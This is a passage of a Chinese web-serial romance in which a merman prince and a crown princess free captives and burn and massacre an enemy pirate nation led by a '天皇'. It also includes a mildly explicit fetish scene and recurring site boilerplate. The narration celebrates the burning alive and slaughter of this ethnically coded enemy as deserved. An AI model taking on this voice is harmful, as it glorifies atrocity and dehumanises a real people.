溟汐站起身,眼前一花,有些头晕。 属下担忧问道: “殿下,没事吧?” 溟汐躲过属下扶他的手,轻摇了下头。 “本殿没事,事不宜迟,走。” 那鲛人属下看着溟汐坚决的背影,跟了上去。 “你一天内使用大型幻术间隔时间太短,太女殿下看到你这幅模样,定然会生气。” 溟汐顾不上这么多了,算时间,君羲今日就要抵达倭寇海岸,他必须在这之前,消除所有隐患。 羲羲的子民,他自会护住! “没事,羲羲生气……我哄哄她。” 想到君羲生气他不爱惜身体的模样,溟汐低笑出声。 没关系,羲羲爱他,只要他好好哄一哄,她肯定舍不得跟他生气。 若是以前,溟汐可能还会担心他和君羲的感情,但现在,君羲给了他十足的安全感,他愿意相信君羲的真心。 花开两朵,各表一枝。 君羲加速航行,比溟汐计算的时间还要早半个时辰。 “遭了……太女殿下怎么来得这么快?” 君羲站在甲板上,看着溟汐留下的报信鲛人一脸惊慌,不怒反笑,问道: “你是说,你们殿下以身作饵,深入敌营,替孤解救大凰百姓去了?” 报信鲛人一脸震惊,她刚刚是这么说的吗? 不是啊! “没、没有……太女殿下,汐殿下有把握的,他带够了人的……” 君羲:“呵。” 所谓的带够了人,就是区区八九十个鲛人。 真是有够胡来的。 报信鲛人在君羲越来越骇人的低气压下,声音越来越小。 事实上,她说这话并没有什么底气,她也认为,自家殿下的计划是兵行险招,一旦被发现,就会万劫不复。 她硬着头皮解释了一句。 “太女殿下,汐殿下幻术是族中最强的,他肯定会平安无事。” 君羲根本不相信这样的说辞,这世上,越强大的力量,需要付出的代价就越大。 溟汐的幻术,想要迷惑的人越多,想也知道,所耗费的力量就会越大,而当所需力量超出负荷,就会对身体造成损伤。 “阿汐,等孤找到你,定要打你屁股。” 狠罚她舍不得,就选这种能让男子感到羞辱的惩罚好了。 看他下次还敢不敢以身犯险。 喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。 第106章 不计一切代价,找到他 骄兵必败。 行军打仗,最忌讳的事情就是半场开烈酒。 倭寇认为自己已经胜券在握,外有安王等人和她们狼狈为奸,内有天然暗礁群给她们保驾护航。 她们没收到安王任何消息说会有军队前来讨伐,加上数百年来,每每有强国想出兵讨伐都因暗礁群存在而铩羽而归。 故而,她们醉生梦死,欢歌载舞。 殊不知,安王等人早就入了土。 暗礁群在海洋食物链顶端的鲛人眼里,根本不值一提。 覆灭的危机悄然到临。 天皇喝大了,三角眼眯起,想起了狱卒捡回来的美男子。 那美男,是真的美啊。 反正她们倭寇国根本找不出这样出挑的美男。 天皇心里痒痒,正好大军打了胜仗,不如喜上加喜,今日就娶了美男,入洞房,生娃娃! “哈哈哈……” “各位阁下,本皇还有一桩喜事要公布。” 喝得脑壳昏沉沉的倭寇将领们醉眼迷离,心里嘀咕,这次的酒是谁采买的,真他爹的烈,重重有赏! 意识混沌,她们只听到喜事,什么喜事? “本皇今日便要迎娶正夫,是个绝色男子,各位,继续喝,就当喝本皇和美男的喜酒了!” “天皇阁下,你要去哪?” 天皇壮硕的身躯颤动,三角眼里全是兴奋。 “本皇自然是去入洞房了!” “哈哈哈,天皇阁下,你这也太急色了!” “你可别吓坏了美男!” 倭寇缺乏礼教熏陶,行事全凭喜好。 她们对天皇没有三媒六聘、拜堂成亲就娶了正夫,入洞房,毫无意义。 就好像,一切就该这么做。 天皇只觉得烈酒后劲有些大,她怎么有些看不清路了,脑袋也昏沉得很,根本无法思考。 “美、美男呢?本皇的正夫在哪?” 无人回应…… 天皇用手捂着头,壮硕的身躯止不住往下滑,但她心里惦记着美男,强撑着睁大眼睛,扫视地牢。 “人呢?!都给本皇滚出来!” 天皇暴跳如雷,手底下的人玩忽职守,简直就像往她脸上扇了几巴掌。 她像个疯子一样叫嚣了一阵,发现无人理会,她的意识也越来越模糊—— 这绝不是酒醉能解释的! 寒意顺着脊背往上窜,她意识到不对劲。 “不好!酒里有……迷……药。” 地牢里哪里是没人? 地牢里除了少数大凰百姓被溟汐带走外,全是被迷昏的狱卒和囚犯。 可惜,天皇这个时候意识到已经太晚了,迷药已经彻底侵入她们的身体,发作了。 倭寇也是作死,倭寇的掌权者——天皇,以及军中能做主的将领,全部都在这场庆功宴上。 所以,溟汐一行人的营救计划出乎意料外的顺利。 “都跟上!” “别怕,太女和汐殿下都在,大凰来接你们回家了。” 被贩卖到倭寇地界的百姓基本都是贫苦人家的男子,他们见过最大的官也就是县令。 如今听说为了救他们,大凰尊贵的储君亲自来了,就像吃了颗定心丸一样,咬着牙跟上救兵的步伐。 大凰没有放弃他们,他们不是弃民! 人一旦有了心气,就能有战胜困难的勇气和决心。 他们相互搀扶着,哪怕是被倭寇折辱过,被掳以来没吃过一顿饱饭,现在也爆发了前所未有的求生欲。 他们要好好活下去! 鲛人带着他们专往偏僻的地方跑,这样能减少遇到人的几率,就算遇到了,也能使用幻术让其忘记。 若是有人能在岛屿上空俯瞰,就能发现,有九十个鲛人,分别救了数百个男子小孩儿,像星星之火一样,不断朝着岛屿海岸汇聚。 这是生的力量! 溟汐则是和另外八个鲛人一起,查看了硫磺、硝石、火油的安置情况。 说起来,倭寇也是自找死路。 放硫磺硝石和火油的地方不远处就是兵器库和粮仓,本来溟汐只打算迷昏倭寇上位者们,救了大凰百姓就走的。 但天赐良机,他想多做一点。 只需一把大火燃起,就能焚尽罪恶! 溟汐该死的心动了。 哪怕会有一点点危险。 银发随着男子奔跑的动作在身后飞扬,他大口喘着气,额角有汗珠流下,溟汐双眼发亮,他喜欢这种能帮到妻主的感觉! 又或许,他本身就是嗜战的! 好战是刻在他骨子里的特性,哪怕是习惯了用柔弱无辜伪装自己,一旦有了战斗的机会,他的血液就会沸腾,兴奋。 溟汐还不知道,他心心念念的妻主此刻脸色越来越黑,周身气势压得人喘不过气来。 君羲按照溟汐提供的能安全驶过暗礁群的路线停船靠岸,战船刚刚靠岸,就见到被营救出来的大凰百姓。 君羲第一时间在人群中寻找溟汐的身影——没有。 她不死心又仔细查看一遍,还是没有。 凤羽站在君羲身旁,对君羲阴冷低沉的情绪表示理解。 本小章还未完,请点击下一页继续阅读后面精彩内容!毕竟,若是她的安安也这般不听话,将自己置身险境,她的情绪也好不到哪里去。 “太女殿下,别担心,汐公子可能在后面。” 君羲凤眼暗沉,她心中已经有了猜测。 她认识的溟汐,从来不是只会躲在女人身后的柔弱男子,他怕是做更危险的事情去了。 “孤不放心。” “太女殿下!真的是太女殿下!” “呜呜呜……我好想家……” “太女殿下来救我们了,大家都别哭,别丢脸!” 越来越多的百姓登上战船,想到被掳走后的屈辱、有家不能回的悲痛、有冤无处申的绝望…… 哭声此起彼伏。 君羲纵然心里担心溟汐情况,此刻在受尽困难的子民面前也收敛了几分气势。 “大家别怕,安王及其党羽已经伏诛,漾州、绥州如今是凤羽军掌管,大家不必担心在被人压迫欺辱!” 君羲的声音不大,却内容却足以安抚受惊的百姓。 他们哽咽着,朝着她的方向心甘情愿地叩拜。 “草民谢太女殿下!” “太女殿下英明!” “……” 君羲深吸一口气,纵使有心理准备,看到这幅场景还是觉得心里发酸。 他们本该安居乐业,却饱受战火摧残。 她身为大凰储君,有愧! “凤羽,你安排士兵给他们食物和水。” “是,殿下。” 君羲又等了大概半刻钟,还是没见到溟汐身影,她等不下去了! “凤羽,点五万人马,孤要去接夫郎回家。” “殿下!” 凤羽惊呼出声,本来,她们最开始的作战计划是派出先锋军探路,再根据先锋军反馈的情况大军推进。 如今直接大军入境,过于鲁莽了。 君羲打断凤羽,凤眼里面寒霜逼人。 “不必多说,孤必须救回阿汐。” “殿下!你看……” 不必凤羽多说,君羲也察觉到了天际升起的烽烟。 “是阿汐。” 君羲提起的心总算放下了一些,她看着滚滚升起的烽烟,心中情绪复杂,既骄傲又担心。 “随孤迎战!荡平倭寇!” “战!” “战!” “战!” 凤羽军气势冲天,君羲朝着烽烟的方向,纵马疾驰。 疾风划过她冷然的眉眼,长枪似乎在渴望鲜血。 她在心里默念,阿汐,等孤。 不许有事。 君羲心里的愤怒,是因为担心溟汐的安全,只要溟汐能安然无恙回到她身边,她宠他疼他还来不及,怎么舍得惩罚他? 顶多是在床上惩罚他。 溟汐是她重生以来,第一个彻底走进她心里的男子,君羲不敢去想象,若是溟汐出事,她会如何…… “驾!” 熊熊火焰燃烧,天皇和一众军中将领还在昏睡中。 浓烟滚滚,温度灼人。 溟汐和手下到处点火,火苗渐渐成了气候,成了吞噬一切的火海。 火海又和火海相连,火势越来越大,几乎控制不住。 中了幻术的倭寇就是在这种情况下醒过来的,浓烟呛鼻,淹没她们的喉管,火焰滚烫,烧伤她们的皮肤血肉。 若这世上真有最难受的死法,被活生生烧死绝对排得上号。 “起火了!” “跑!” “救命!救命……” “……” 已经顾不上去追究火灾是意外还是人为,心中只有一个念头,逃离火海。 只是,火势实在是太大了。 房梁落下,房屋倒塌,四处都是烧焦的断壁残垣…… 逃不出去…… 除了火海还是火海,她们清醒得太迟了,除非苍天显灵,降下倾盆大雨,才有可能扑灭火焰。 无数身背罪恶的倭寇在火焰里挣扎,扭曲着求救,声嘶力竭着想活下去。 就像当初被她们折辱的大凰百姓一样。 那时的她们高高在上,轻蔑的眼神,肆意的凌辱,残酷的虐杀,无所不用其极。 将被折辱者的哀嚎当做动听的乐声。 落得现在的下场,只能说是活该! 杀人者,人杀之! 君羲一路疾驰,惊动了倭寇国内居住的百姓,她们有人天生恶,拿着武器想杀她,却见女人不屑一顾,长枪一扫,就没了声息。 “不计一切代价,找到他!” “遵令!” 君羲用内力传遍整座城,放弃抵抗者,不杀,负隅顽抗者,杀无赦! 很快,就清出一条血路来。 心脏在胸腔里跳得很快,她在火海中穿行。 在哪? 溟汐在哪? 她的爱人,在哪? 内力化作护罩庇护着女人和马不被火焰烧伤,但火海里面的温度太高,不多时,君羲浑身便被热汗润湿,眼底映照着烈焰。 “阿汐!” “殿下,我在这!” 君羲横枪立马,扭头往声音传来的方向望去。 此刻的她,面色被温度灼得发红,眼眶都红了,眼底全是对溟汐的担心。 她此刻的样子算不上好看,甚至有些狼狈,但溟汐就是觉得,君羲好看极了,比周围的烈焰还要耀眼。 察觉到女人不安的情绪,溟汐有些心虚,这次的确是冲动了。 溟汐凝望着以烈焰为背景,比烈焰还炽热夺目的女人。 他说。 “殿下,别怕。” 喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。 第107章 溟汐想君羲想疯了 在听到溟汐的声音之前,君羲快急疯了。 火海滔天,溟汐再怎么厉害也是海中族群,她压根不敢去想,万一溟汐被困在火海里,后果会是怎样? 真的是她的小鱼吗? 君羲怕眼前的身影和入耳的声音是她的幻觉。 “阿汐?” 君羲自己都没察觉,她把溟汐看得太重,此刻开口的声音带着一点哭腔。 溟汐心疼坏了,早知道会让女人这般担心,他就该提前写信告知,或是让属下先行行动,他先和羲羲汇合。 碧色的眼眸里柔情和担心揉碎混合,溟汐敏锐察觉,君羲的情绪有些不对劲。 “羲羲,是我。” 他抿了抿唇,主动朝君羲的方向大步跑去。 君羲这才终于肯定,眼前的人,就是她心心念念,生怕出一点事的夫郎。 她骑马欲离开火海,男人却是主动朝火海奔赴而来。 君羲心中微动,像飞蛾扑火,她想。 但她就喜欢溟汐这种飞蛾扑火也在所不惜的爱。 “阿汐,抓住孤的手。” 一如初见那般,女人骑在白马上,像一束光,闯进溟汐漆黑荒芜的世界里。 骨节分明大手伸出,溟汐从未有过半分质疑。 只要是君羲让他做的,就一定有她的道理。 “吁!” 骏马马蹄高高扬起,君羲瓷白却不失力量感的手抓住了溟汐的手,握紧,这才有了人真的没事的实感。 君羲一个用力,溟汐便上了马,坐在她身后。 内力护罩立马不值钱一般朝他覆盖,隔绝火海。 女人此刻脸色有些冷,看上去很生气的样子,他喜欢亲吻的唇此刻抿成冷肃的直线,溟汐意识到,这件事儿怕是没那么好过去。 骏马一刻不停朝火海外疾驰,溟汐有些不知所措。 他张口想说些什么。 “羲羲,我……” 他想说他错了,不该将自己置身险境,让她担心。 君羲没给他开口的机会,声线冷然似雪。 “抱紧孤。” 溟汐闻言,立马收紧环抱在女人腰腹处的手臂。 独属于溟汐的海盐薄荷气息笼罩在她周围,君羲冷冷抿起的唇微不可见地上翘。 “有什么话,离开这里再说。” 溟汐将脑袋靠在女人肩膀上,小动物似的蹭蹭,似乎是一种安抚,又似乎是一种讨好。 以溟汐对君羲的了解,此刻是因为还在险境,所以她才没多计较,等回去…… 到了安全的环境,君羲一定会秋后算账,一笔一笔朝他讨回来。 溟汐有些担忧,但更多的,是兴奋。 兴奋于女人是如此的在意他,怎么罚他,他都甘之如饴。 “羲羲,别生气。” 怎么可能不生气? 君羲心里被一团火塞着,若不是环境不对,她早发作了。 想煎鱼,翻来覆去那种! 女人眼底晦暗翻涌,由于视角原因,溟汐并没有看到君羲眼底的欲色,还像个无知的小动物,讨好般软了声音。 “回去后,妻主想如何惩罚侍身都可以。” 所以,别生他气了,好吗? 溟汐还是喜欢君羲朝他笑的模样。 “哼。” 君羲没有回头,一路朝着海岸线疾驰,她得先将溟汐送到安全的地方,然后去找倒霉蛋发泄心中怒火。 君羲的坐骑自然是军中一等一的存在,加上溟汐一直在走神,思考如何让女人消气,所以,等溟汐回过神来,已经被君羲安置在战船上了。 溟汐叫住女人。 “羲羲,你要去哪?” 君羲的背影一顿,却没转身。 “给孤看好汐侧夫。” 她舍不得对溟汐发泄怒火,可以对倭寇发泄啊,反正这些倭寇都该死,死在她手上,还能有点价值。 “驾!” 上马疾驰,溟汐往前跟了两步,立马被阻拦。 两把长枪交叉拦住他的去路。 “汐公子,还请回去,别让属下为难。” 她们二人心中叹气,太女殿下的命令,无人敢不从。 也就是溟汐了,让太女殿下一路脸阴沉得要命,还舍不得伤害他。 她们将君羲对溟汐的爱意看在眼里,若不是君羲的命令,她们根本不敢得罪太女殿下的宠夫。 “太女殿下处理完倭寇就会回来,到时候……汐公子你多说些软话,哄哄殿下。” 君羲现在正在气头上,溟汐也不是傻子。 他决定等君羲用杀戮发泄一番,等她回来,在好好安抚女人。 他能做的都做了,以羲羲的军事才能,余下的根本用不着他担心。 想清楚这些后,溟汐不为难看守的士兵,默默回了房间,关上房门。 他环顾一圈,鼻间熟悉的气息让他明白,这是君羲的房间。 发热期早就过去,但鲛人对伴侣的渴望是刻在骨子里的,她们已经有许久未见了。 反正房间里面不会有旁人,溟汐就像一个变态一样,将脸深深埋在君羲的枕头上,猛吸狂吸…… “唔——” 这些天,他想君羲想得快发疯了。 本小章还未完,请点击下一页继续阅读后面精彩内容!枕头上残余的气息根本不够安抚鲛人躁动渴望的内心,他需要更多,比如—— 溟汐环顾一圈,迫切地用视线搜寻他想要的带着女人气息的东西。 视线在扫过遮挡浴桶的屏风上时,溟汐呼吸都粗重了几分。 屏风上,搭着君羲昨夜换下的衣服。 仗着君羲不在,他根本不遮挡变态的行径。 他心里只有一个念头,他需要这些来压制心中疯狂的想念。 “唔~” 整张脸埋在布料里,溟汐深吸着上面属于女人清冷的雪香,他似乎能从薄薄的布料上,感受到女人娇嫩的肌肤。 溟汐还没意识到,他此刻已经失控了。 一直压抑的思念,把他变成了“疯子”。 俊脸在轻薄柔软的衣料上蹭着,就算布料在柔软,也架不住鲛人蹭的频率高,很快,他眼尾便浮上一片薄红。 喉结不受控制地上下滚动,急促地喘息着。 “唔。” 像一个无可救药的变态。 溟汐结束一切,额前的发丝被汗水濡湿,有种别样的性感。 他无措地看向手上不成样子、皱巴巴的衣服,这才反应过来他刚刚的行为有多变态! 但他心中却没有半分羞耻,反而拿出一个带锁的精巧木匣,用内力封存后,仔细地存放起来。 溟汐抬手遮住微湿潮意的眸,一连串性感的低笑从男人的喉咙间溢出。 怎么办? 他真的好喜欢君羲,喜欢得已经疯掉了。 他失控了。 溟汐记忆力一向不错,纵然刚刚情绪陷入疯狂,被无边无际的欲望吞没。 但他此刻仍旧记得小衣上的细节,包括每一处布料上的走线以及绣的花样。 鲛人心中还是有所担心,担心女人会害怕他变态一样行为。 所以他翻箱倒柜,仔细比对摆放整齐的小衣,在里面一阵翻找,终于找到了和之前那件一模一样的小衣。 看见这件小衣的瞬间,刚刚的记忆如同潮水一般在他的脑海中不断来回翻涌。 但他刚刚仔细看过了,除了手中这件小衣,以及刚刚他收藏起来的小衣,没有第三件小衣同这两件一模一样了。 所以……他不能再继续刚刚的行为,免得吓到他心爱的伴侣。 “羲羲,我很期待你的专属惩罚呢。” 溟汐躺在女人睡过的床上,多日以来的想念得到一场发泄后总算能控制住了,他闭上眼,不一会儿便在女人的床榻上熟睡过去。 此刻的君羲—— 人挡杀人,神挡杀神。 烈焰威力虽大,但在危机时刻,强大的求生意志总能支持那么一些漏网之鱼逃出火海,而她要做的便是在火海外守株待兔,斩草除根。 在君羲和凤羽军抵达之前,溟汐几乎已经替她扫除了所有障碍,这是一场一边倒的屠杀。 可怜的倭寇们,刚逃出火海以为自己劫后余生,便看到守在火海外的凤羽军。 惊恐害怕的神色还来不及蔓延开来,就被凤羽军送去见阎王去了。 火海肆虐,血流成河。 一场战争过后,只有残存的断壁残垣和烧焦的尸体证明这场战争的存在。 为了防止爆发瘟疫,所有的倭寇尸体都被就近丢进火海里焚烧。 等到大火燃尽,一场雨降临,一切又会恢复生机。 除掉的,自始至终都只有一群渣滓。 “统领,谁惹到殿下了?” 凤染看君羲杀人如麻,心里发怵。 上一次太女殿下这般大开杀戒,还是在幽雾谷,因为溟汐公子受伤。 凤羽瞥了凤染一眼,确认君羲没注意到她们过后,才压低声音道: “因为男人。” 凤染了然,眼睛微微睁大。 “统领,你是说汐公子?” 凤染心中不解,她们这次能无伤亡荡平倭寇,溟汐当居首功。 若是她有这么厉害的夫郎,做梦都能笑醒,怎么太女殿下还生气了呢? 凤染没谈过,眼底透露出白纸一张色愚蠢。 凤染一个巴掌拍在她脑壳上。 “殿下自有定夺,你个打脑壳的,可不要多管闲事,惹殿下不快。” 凤染委屈撇嘴,她怎么就打脑壳了? 别以为她不知道,统领在骂她脑子不好! “知道了知道了知道了。” 她捂着脑壳,决定不思考了,反正殿下是她心目中一等一的聪明人,她只需要跟随殿下的指引就好了。 汐公子和太女殿下的事情,就让她们自己处理去吧。 君羲面无表情用手帕擦着染血发烫的长枪,吐出一口气,这才觉得可以回去见溟汐了。 “凤染,你领一万凤羽军在此驻兵,以后,这里便是大凰的领地。” 凤染单膝跪下,热血澎湃,这才是大女人应该做的事! 保家为民!开疆拓土! 她凤染,愿意永远追随太女殿下! “凤染领命!” 君羲则是一刻不停,手背擦了下脸侧溅上的血,披上黑底金色龙纹披风,宣告大军。 “凤羽军听令,随孤回朝!” 喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。